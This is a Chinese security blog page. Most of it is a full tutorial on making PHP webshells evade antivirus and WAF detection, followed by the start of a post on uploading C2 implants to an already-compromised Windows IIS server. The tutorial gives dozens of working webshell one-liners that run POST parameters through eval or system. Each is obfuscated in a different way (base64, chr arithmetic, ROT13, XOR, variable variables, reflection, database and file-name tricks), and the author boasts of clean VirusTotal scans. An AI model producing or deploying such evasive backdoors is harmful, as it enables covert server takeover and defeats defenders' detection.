首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
对于Spring Boot的渗透姿势
2,748 阅读
2
避坑:Win10环境MS17-010漏洞复现过程
1,548 阅读
3
苛刻条件下:C2上传执行骚姿势
1,453 阅读
4
2023西湖论剑·数字安全大会有感
1,170 阅读
5
PHP从零学习到Webshell免杀手册
1,060 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
曾哥
累计撰写
20
篇文章
累计收到
43
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
7
篇与
的结果
2023-03-18
PHP从零学习到Webshell免杀手册
手册概述手册版本号:V1.0-20230306 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新开源地址: https://github.com/AabyssZG/WebShell-Bypass-Guide 如果师傅们觉得不错,可以给我点个Star哈哈~有什么新的WebShell免杀姿势、手法,欢迎与我交流渊龙Sec安全团队-AabyssZG整理本资料仅供学习参考,严禁使用者进行未授权渗透测试!部分免杀思路来自互联网,欢迎各位师傅和我交流。本文为内部参考资料,仅作学习交流,严禁任何形式的转载。本文档内容为完整版,由渊龙Sec安全团队成员AabyssZG编写。一、PHP相关资料PHP官方手册: https://www.php.net/manual/zh/PHP函数参考: https://www.php.net/manual/zh/funcref.php菜鸟教程: https://www.runoob.com/php/php-tutorial.htmlw3school: https://www.w3school.com.cn/php/index.asp渊龙Sec安全团队导航: https://dh.aabyss.cn二、PHP函数速查0# PHP基础0.0 PHP基础格式<?php //执行的相关PHP代码 ?>这是一个PHP文件的基本形式0.1 .=和+=赋值$a = 'a'; //赋值 $b = 'b'; //赋值 $c = 'c'; //赋值 $c .= $a; $c .= $b; echo $c; //cab.= 通俗的说,就是累积+= 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量0.2 数组array() 函数用于创建数组$shuzu = array("AabyssZG","AabyssTeam"); echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . "."; //My Name is AabyssZG, My Team is AabyssTeam.数组可嵌套:$r = 'b[]=AabyssZG&b[]=system'; $rce = array(); //用array函数新建数组 parse_str($r, $rce); //这个函数下文有讲 print_r($rce);$rce 数组输出为:Array ( [b] => Array ( [0] => AabyssZG [1] => system ) )这时候可以这样利用$rce['b'][1](参数); //提取rce数组中的b数组内容,相当于system(参数) echo $rce['b'][0]; //AabyssZG使用 [] 定义数组$z = ['A','a','b', 'y', 's', 's']; $z[0] = 'A'; $z[1] = 'a'; $z[2] = 'b'; $z[3] = 'y'; $z[4] = 's'; $z[5] = 's';这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推compact() 函数用于创建数组创建一个包含变量名和它们的值的数组$firstname = "Aabyss"; $lastname = "ZG"; $age = "21"; $result = compact("firstname", "lastname", "age"); print_r($result);数组输出为:Array ( [firstname] => Aabyss [lastname] => ZG [age] => 21 )0.3 连接符. 最简单的连接符$str1="hello"; $str2="world"; echo $str1.$str2; //helloworld0.4 运算符& 运算符加减乘除应该不用我说了吧($var & 1) //如果$var是一个奇数,则返回true;如果是偶数,则返回false逻辑运算符特别是 xor 异或运算符,在一些场合需要用到0.5 常量自定义常量define('-_-','smile'); //特殊符号开头,定义特殊常量 define('wo',3.14); const wo = 3;常量的命名规则常量不需要使用 $ 符号,一旦使用系统就会认为是变量;常量的名字组成由字母、数字和下划线组成,不能以数字开头;常量的名字通常是以大写字母为主,以区别于变量;常量命名的规则比变量要松散,可以使用一些特殊字符,该方式只能使用 define 定义;__FILE__ 常量(魔术常量)__FILE__ //返回文件的完整路径和文件名 dirname(__FILE___) //函数返回的是代码所在脚本的路径 dirname(__FILE__) //返回文件所在当前目录到系统根目录的一个目录结构(不会返回当前的文件名称)其他魔术常量__DIR__ //当前被执行的脚步所在电脑的绝对路径 __LINE__ //当前所示的行数 __NAMESPACE__ //当前所属的命名空间 __CLASS__ //当前所属的类 __METHOD__ //当前所属的方法0.6 PHP特性PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写在某些环境中,<?php ?> 没有闭合会导致无法正常运作1# 回调类型函数1.0 Tips在PHP的WebSehll免杀测试过程中,使用回调函数可以发现查杀引擎对函数和函数的参数是否有对应的敏感性array_map('system', array('whoami')); //被查杀 array_map($_GET['a'], array('whoami')); //被查杀 array_map('var_dump', array('whoami')); //未被查杀 array_map('system', array($_GET['a'])); //被查杀这里在列举一些回调函数,感兴趣可以自行查找:array_filter() array_walk() array_map() array_reduce() array_walk_recursive() call_user_func_array() call_user_func() filter_var() filter_var_array() registregister_shutdown_function() register_tick_function() forward_static_call_array() uasort() uksort() 1.1 array_map()array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组Demo:将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新的值的数组:function myfunction($v) { return($v*$v); } $a=array(1,2,3,4,5); //array(1,4,9,16,25) print_r(array_map("myfunction",$a));1.2 register_shutdown_function()register_shutdown_function() 函数是来注册一个会在PHP中止时执行的函数PHP中止的情况有三种:执行完成exit/die导致的中止发生致命错误中止Demo:后面的after并没有输出,即 exit 或者是 die 方法导致提前中止function test() { echo '这个是中止方法test的输出'; } register_shutdown_function('test'); echo 'before' . PHP_EOL; exit(); echo 'after' . PHP_EOL;输出:before 这个是中止方法test的输出1.3 array_walk()array_walk() 函数对数组中的每个元素应用用户自定义函数Demo:这个很简单,直接看就明白了function myfunction($value,$key,$p) { echo "$key $p $value<br>"; } $a=array("a"=>"red","b"=>"green","c"=>"blue"); array_walk($a,"myfunction","has the value");输出:The key a has the value red The key b has the value green The key c has the value blue1.4 array_filter()array_filter() 函数用回调函数过滤数组中的元素该函数把输入数组中的每个键值传给回调函数:如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组(数组键名保持不变)Demo:function test_odd($var) { return($var & 1); } $a1=array("a","b",2,3,4); print_r(array_filter($a1,"test_odd"));输出:Array ( [3] => 3 )2# 字符串处理类函数2.0 Tips可以自己定义函数,组成字符串的拼接方式,比如:function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } echo confusion(976534); //sysTem(高危函数)这时候,给 $a 传参为 976534 即可拼接得 system同样,还有很多字符串处理类的函数,可以参考如下:trim() //从字符串的两端删除空白字符和其他预定义字符 ucfirst() //把字符串中的首字符转换为大写 ucwords() //把字符串中每个单词的首字符转换为大写 strtoupper() //把字符串转换为大写 strtolower() //把字符串转换为小写 strtr() //转换字符串中特定的字符 substr_replace() //把字符串的一部分替换为另一个字符串 substr() //返回字符串的一部分 strtok() //把字符串分割为更小的字符串 str_rot13() //对字符串执行 ROT13 编码2.1 substr()substr() 函数返回字符串的一部分Demo:相当于截取字段固定长度和开头的内容echo substr("D://system//451232.php", -10, 6)."<br>"; //451232 echo substr("AabyssTeam", 0, 6)."<br>"; //Aabyss2.2 intval()intval() 获取变量的整数值int intval(var,base) //var指要转换成 integer 的数量值,base指转化所使用的进制 如果 base 是 0,通过检测 var 的格式来决定使用的进制:如果字符串包括了 0x (或 0X) 的前缀,使用 16 进制 (hex);否则,如果字符串以 0 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1Demo:获取对应的整数值echo intval(042); // 34 echo intval(0x1A); // 26 echo intval(42); // 42 echo intval(4.2); // 42.3 parse_str()parse_str() 函数把查询字符串解析到变量中Demo:这个也很简单,看看例子就明白了parse_str("name=Peter&age=43"); echo $name."<br>"; //Peter echo $age; //43 parse_str("name=Peter&age=43",$myArray); print_r($myArray); //Array ( [name] => Peter [age] => 43 )3# 命令执行类函数3.0 Tips命令执行类函数在”某些情况“下是非常危险的,所以往往遭到杀毒软件和WAF的重点关注,所以在做免杀的时候,为了绕过污点检测往往都要将命令执行类函数进行拼接、重组、加密、混淆来规避查杀。3.1 eval()eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码Demo:将其中的内容按照PHP代码执行echo 'echo "我想学php"'; //echo "我想学php" eval('echo "我想学php";'); //"我想学php"Demo:一句话木马将参数传到 eval() 函数内执行@eval($_POST['AabyssTeam']);3.2 system()system() 函数的主要功能是在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)Demo:执行Whoami并回显system('whoami');3.2 exec()exec() 函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中Demo:将 exec() 函数执行的结果导入result数组exec( 'ls' , $result ); print_r($result); //Array ( [0] => index.php )3.3 shell_exec()shell_exec() 函数可以执行系统命令,但不会直接输出执行的结果,而是返回一个字符串类型的变量来存储系统命令的执行结果Demo:执行 ls 命令echo shell_exec('ls'); //index.php3.4 passthru()passthru() 函数可以执行系统命令并将执行结果输出到页面中与 system() 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可 Demo:执行 ls 命令passthru('ls'); //index.php3.5 popen()popen() 函数可以执行系统命令,但不会输出执行的结果,而是返回一个资源类型的变量用来存储系统命令的执行结果故需要配合 fread() 函数来读取命令的执行结果Demo:执行 ls 命令$result = popen('ls', 'r'); //参数1:执行ls命令 参数2:字符串类型 echo fread($result, 100); //参数1:上面生成的资源 参数2:读取100个字节3.6 反引号``反引号可以执行系统命令但不会输出结果,而是返回一个字符串类型的变量用来存储系统命令的执行结果可单独使用,也可配合其他命令执行函数使用来绕过参数中的过滤条件Demo:执行 ls 命令echo `ls`; //index.php4# 文件写入类函数4.0 Tips在Webshell的免杀过程中,一部分人另辟蹊径:通过执行一个执行内容为”写入恶意PHP“的样本来绕过查杀,执行成功后会在指定目录写入一个恶意PHP文件,最后通过连接那个恶意PHP文件获得WebShell4.1 fwrite()fwrite() 函数是用于写入文件,如果成功执行,则返回写入的字节数;失败,则返回 FALSEDemo:将 Hello World. Testing! 写入 test.txt$file = fopen("test.txt","w"); echo fwrite($file,"Hello World. Testing!"); //21 fclose($file);4.2 file_put_contents()file_put_contents() 函数把一个字符串写入文件中如果文件不存在,将创建一个文件Demo:使用 FILE_APPEND 标记,可以在文件末尾追加内容$file = 'sites.txt'; $site = "\nGoogle"; file_put_contents($file, $site, FILE_APPEND);同时该函数可以配合解密函数写入文件,比如:$datatest = "[文件的base64编码]"; file_put_contents('./要写入的文件名', base64_decode($datatest));5# 异常处理类函数5.0 Tips在PHP的异常处理中,异常处理的相关函数引起了安全行业人员的注意,可以构造相关的异常处理,来绕过WAF的识别和检测。5.1 Exception 类Exception 类是php所有异常的基类,这个类包含如下方法:__construct //异常构造函数 getMessage //获取异常消息内容 getPrevious //返回异常链中的前一个异常,如果不存在则返回null值 getCode //获取异常代码 getFile //获取发生异常的程序文件名称 getLine //获取发生异常的代码在文件中的行号 getTrace //获取异常追踪信息,其返回值是一个数组 getTraceAsString //获取字符串类型的异常追踪信息写个简单的例子方便理解:// 创建一个有异常处理的函数 function checkNum($number) { if($number>1) { throw new Exception("变量值必须小于等于 1"); } return true; } // 在 try 块 触发异常 try { checkNum(2); // 如果抛出异常,以下文本不会输出 echo '如果输出该内容,说明 $number 变量'; } // 捕获异常 catch(Exception $e) { echo 'Message: ' .$e->getMessage() . "<br>" ; echo "错误信息:" . $e->getMessage() . "<br>"; echo "错误码:" . $e->getCode() . "<br>"; echo "错误文件:" . $e->getFile() . "<br>"; echo "错误行数:" . $e->getLine() . "<br>"; echo "前一个异常:" . $e->getPrevious() . "<br>"; echo "异常追踪信息:"; echo "" . print_r($e->getTrace(), true) . "<br>"; echo "报错内容输出完毕"; }运行后输出结果:Message: 变量值必须小于等于 1 错误信息:变量值必须小于等于 1 错误码:0 错误文件:D:\phpstudy_pro\WWW\AabyssZG\error.php 错误行数:7 前一个异常: 异常追踪信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) ) 报错内容输出完毕 ...6# 数据库连接函数6.0 Tips可以尝试通过读取数据库内的内容,来获取敏感关键词或者拿到执行命令的关键语句,就可以拼接到php中执行恶意的代码了。6.1 Sqlite数据库配合我上面写的 file_put_contents() 文件写入函数,先写入本地Sqlite文件然后读取敏感内容$path = "AabyssZG.db"; $db = new PDO("sqlite:" . $path); //连接数据库后查询敏感关键词 $sql_stmt = $db->prepare('select * from test where name="system"'); $sql_stmt->execute(); //提权敏感关键词并进行拼接 $f = substr($sql_stmt->queryString, -7, 6); $f($_GET['aabyss']); //system($_GET['aabyss']);6.2 MySQL数据库这里使用 MySQLi() 这个函数,其实PHP有很多MySQL连接函数,可自行尝试然后通过这个函数,连接公网数据库(只要目标能出网),即可连接并获得敏感字符拼接到php中function coon($sql) { $mysqli = new MySQLi("localhost", "test", "test123", "test"); //默认的 MySQL的类,其属性与方法见手册 if ($mysqli - > connect_error) { //connect_error为属性,报错 die("数据库连接失败:".$mysqli - > connect_errno. "--".$mysqli - > connect_error); // connect_errno:错误编号 } $mysqli - > select_db("test"); //选择数据库 // 返回值 $res 为资源类型(获取到结果的资源类型) $res = $mysqli - > query($sql) or die($mysqli - > error); //释放结果集,关闭连接 $mysqli - > close(); } $sql = "select * from test where name LIKE 'system'"; $arr = coon($sql); $res = array("data" => $arr); echo json_encode($res);7# PHP过滤器三、Webshell免杀学习后的免杀效果学习本手册后,可以达到如下效果,当然这只是拿其中的一个简单的例子进行测试的,感兴趣的可以深入学习并自由组合牧云Webshell检测引擎:微步在线云沙箱:河马WebShell在线查杀:百度WEBDIR+在线查杀:大名鼎鼎的VirusTotal:0# 免杀思路概述首先,要知己知彼,才能针对性做出策略来使得WebShell成功免杀0.1 WebShell查杀思路对于WebShell的查杀思路,大致有以下几种:分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。0.2 WebShell整体免杀思路而对于最常见也是最简单的WebShell,即一句话木马,都是以下形式存在的:而我们要做的是:通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀0.3 WebShell免杀注意点0.3.1 eval() 高危函数eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行人话:eval() 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入0.3.2 assert() 高危函数在PHP7 中, assert () 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可所以在WebShell免杀这块,我还是更喜欢用 system() 高危函数,以下很多案例都是使用 system() 来最终执行的0.4 WebShell免杀测试渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/VirusTotal: https://www.virustotal.com/gui/home/upload河马WebShell查杀: https://n.shellpub.com/微步在线云沙箱: https://s.threatbook.com/百度WEBDIR+: https://scanner.baidu.com/长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index阿里伏魔引擎: https://xz.aliyun.com/zuesD盾: http://www.d99net.net/网站安全狗: http://free.safedog.cn/website_safedog.html1# 编码绕过这算是早期的免杀手法,可以通过编码来绕过WAF的检测,如下:1.1 Base64编码<?php $f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数 $f($_POST[aabyss]); //assert($_POST[aabyss]); ?>1.2 ASCII编码<?php //ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); $f($_POST['aabyss']); //assert($_POST['aabyss']); ?>1.3 ROT13编码$f = str_rot13('flfgrz'); //解密后为system高危函数 $f($_POST['aabyss']); //system($_POST['aabyss']);当然还有很多其他的编码和加密方式,但常见的编码方式都被放入敏感名单了,会根据加密的形式自动进行解密可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass1.4 Gzip压缩加密我先举一个 phpinfo() 加密后的示例:/*Protected by AabyssZG*/ eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); 加密手法可以看我写的博客: https://blog.zgsec.cn/index.php/archives/147/2# 字符串混淆处理绕过2.1 自定义函数混淆字符串通过对上面所说两部分敏感内容的拼接、混淆以及变换,来绕过WAF的检测逻辑,如下:function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(976534); //sysTem(高危函数) $f($_POST['aabyss']); //sysTem($_POST['aabyss']);2.2 自定义函数+文件名混淆同样,可以配合文件名玩出一些花活,我们建一个PHP名字为 976534.php:function confusion($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数) //__FILE__为976534.php //substr(__FILE__, -10, 6)即从文件名中提取出976534 //confusion(intval(976534))即输出了sysTem(高危函数),拼接即可 $f($_POST['aabyss']); //sysTem($_POST['aabyss']);首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果2.3 特殊字符串主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)$f = 'hello'; $$z = $_POST['aabyss']; eval(``.$hello);3# 生成新文件绕过这是我之前写的一个免杀,其实原理也很简单,该PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的:$hahaha = strtr("abatme","me","em"); //$hahaha = abatem $wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数) $gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO"); //$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php' $wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中现在看这个是不是很简单,但是这个可是VirusTotal全绿、微步沙箱和百度沙箱都过的哦~没想到吧~ 其实在这个简单的基础上还可以拓展出来进行高阶免杀操作4# 回调函数绕过通过回调函数,来执行对应的命令,这里举两个例子:4.1 call_user_func_array()//ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); call_user_func_array($f, array($_POST['aabyss']));4.2 array_map()function fun() { //ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); return ''.$f; } $user = fun(); //拿到assert高危函数 $pass =array($_POST['aabyss']); array_map($user,$user = $pass );回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用5# 可变变量绕过5.1 简单可变变量什么叫可变变量呢?看一下具体例子就明白了:$f = 'hello'; //变量名为f,变量值为Hello $$f = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG echo $hello; //输出AabyssZG那要怎么利用这个特性呢?如下:$f ='hello'; $$f = $_POST['aabyss']; eval($hello); //eval($_POST['aabyss']); 5.2 数组+变量引用混淆上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可$z = "system"; //配合其他姿势,将system高危函数传给z $zhixin = &$z; $event = 'hahaha'; $result = compact("event", "zhixin"); //通过compact创建数组 $z = 'wahaha'; //我将变量z进行修改为'wahaha' $f = $result['zhixin']; $f($_POST['aabyss']); //system($_POST['aabyss']); 根据5.1学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是 wahaha ,从而达到WebShell免杀6# 数组绕过先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接6.1 一维数组$f = substr_replace("systxx","em",4); //system(高危函数) $z = array($array = array('a'=>$f($_GET['aabyss']))); var_dump($z);数组内容如下:Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )6.2 二维数组$f = substr_replace("systxx","em",4); //system(高危函数) $z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss']))))); var_dump($z);7# 类绕过通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行7.1 单类class Test { public $_1=''; function __destruct(){ system("$this->a"); } } $_2 = new Test; $_2->$_1 = $_POST['aabyss'];7.2 多类class Test1 { public $b =''; function post(){ return $_POST['aabyss']; } } class Test2 extends Test1 { public $code = null; function __construct(){ $code = parent::post(); system($code); } } $fff = new Test2; $zzz = new Test1;主要还是要用一些魔术方法来进行ByPass8# 嵌套运算绕过主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可8.1 异或^ 为异或运算符,在PHP中两个变量进行异或时,会将字符串转换成二进制再进行异或运算,运算完再将结果从二进制转换成了字符串$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数 $f($_POST['aabyss']);这里的话,可以参考国光大佬的Python脚本生成异或结果,然后来替换即可:python3 xxx.py > results.txtimport string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])8.2 嵌套运算其实嵌套运算在WebShell免杀中算是常客了,让我们来看一下一个 phpinfo() 的嵌套运算$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));加密手法可以看我写的博客: https://blog.zgsec.cn/index.php/archives/147/9# 传参绕过将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别9.1 Base64传参$decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);传参内容:a=c3lzdGVt //system的base64加密 b=d2hvYW1p //whoami的base64加密也可以尝试使用其他编码或者加密方式进行传参9.2 函数构造传参可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数register_tick_function ( callable $function [, mixed $... ] ) : bool例子如下:$f = $_REQUEST['f']; declare(ticks=1); register_tick_function ($f, $_REQUEST['aabyss']);10# 自定义函数绕过通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行10.1 简单自定义函数这个要与其他的姿势进行结合,目前没办法通过简单自定义函数进行免杀function out($b){ return $b; } function zhixin($a){ return system($a); } function post(){ return $_POST['aabyss']; } function run(){ return out(zhixin)(out(post())); } run();10.2 读取已定义函数获取某个类的全部已定义的常量,不管可见性如何定义public ReflectionClass::getConstants(void) : array例子如下:class Test { const a = 'Sy'; const b = 'st'; const c = 'em'; public function __construct(){ } } $para1; $para2; $reflector = new ReflectionClass('Test'); for ($i=97; $i <= 99; $i++) { $para1 = $reflector->getConstant(chr($i)); $para2.=$para1; } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $para2($_value);11# 读取字符串绕过重点还是放在高危函数上,通过读取各种东西来获得对应字符串11.1 读取注释这里用到读取注释的函数ReflectionClass::getDocComment例子如下: /** * system($_GET[aabyss]); */ class User { } $user = new ReflectionClass('User'); $comment = $user->getDocComment(); $f = substr($comment , 14 , 22); eval($f);11.2 读取数据库可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库$datatest = "[文件的base64编码]"; file_put_contents('./要写入的文件名', base64_decode($datatest));然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果$path = "数据库文件名" $db = new PDO("sqlite:" . $path); $sql_stmt = $db->prepare('select * from test where name="system"'); $sql_stmt->execute(); $f = substr($sql_stmt->queryString, -7, 6); $f($_GET['b']);11.3 读取目录FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息public FilesystemIterator::next ( void ) : void可以尝试使用 file_put_contents 写入一个名为 system.aabyss 的空文件,然后遍历目录拿到字符串 system ,成功ByPass$fi = new FilesystemIterator(dirname(__FILE__)); $f = ''; foreach($fi as $i){ if (substr($i->__toString(), -6,6)=='aabyss') //判断后缀名为.aabyss的文件(其他特殊后缀也行) $f = substr($i->__toString(), -13,6); //从system.aabyss提取出system高危函数 } $f($_GET['b']);为什么要写入为 system.aabyss 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了四,总结上面分享了诸多姿势,重点还是灵活依靠思路和姿势,通过活用各种特性和函数来和WAF对抗,相信你自己也可以的!在写这个整理的文档的时候,也收获颇多,希望各位师傅能认真研读,小人不才望大佬多加指正其实在我个人的眼里,安全对抗其实就是人与人之间的灵魂、思维在碰撞和对抗,我一直执着于这个过程,也欢迎各位师傅和我互相学习、共同进步哈哈~我的个人Github: https://github.com/AabyssZG/ 最后,也欢迎各位师傅关注我们团队公众号啦
2023年03月18日
1,060 阅读
0 评论
7 点赞
2023-02-25
苛刻条件下:C2上传执行骚姿势
0# 概述在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。1# 情况描述通过某供应商服务系统的文件任意上传1day,上传了一个哥斯拉(Godzilla)的Asp马,并成功连接上了WebShell,但是权限很低很低:WebShell连接方式:直接连接IP:端口的,中间不可能有WAF存在(有些人真的扯)目标系统:Microsoft Windows Server 2016 Datacenterwhoami:iis apppool\*****scm4文件管理情况:WebShell只能上传写入TXT和图片类型文件,且大文件无法上传、移动和删除 (注意!!!服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)命令使用情况:无法使用PowerShell和其他高危指令杀软情况:Microsoft Security Essentials(MsMpEng.exe)/火绒(usysdiag.exe)/Microsoft Internet Security(MSASCui.exe)网络连接情况:目标系统对外只能访问白名单URL,不在白名单没法访问我尝试通过WebShell更换目录上传EXE,甚至上传一个HelloWorld的EXE文件,都无法上传,这个情况我也是第一次碰到,后面要好好再分析一下原因。2# 情况分析通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。上传C2到服务器一般有以下操作(针对Win):通过WebShell上传C2文件并执行通过 Certutil 远程下载C2文件并执行通过 PowerShell 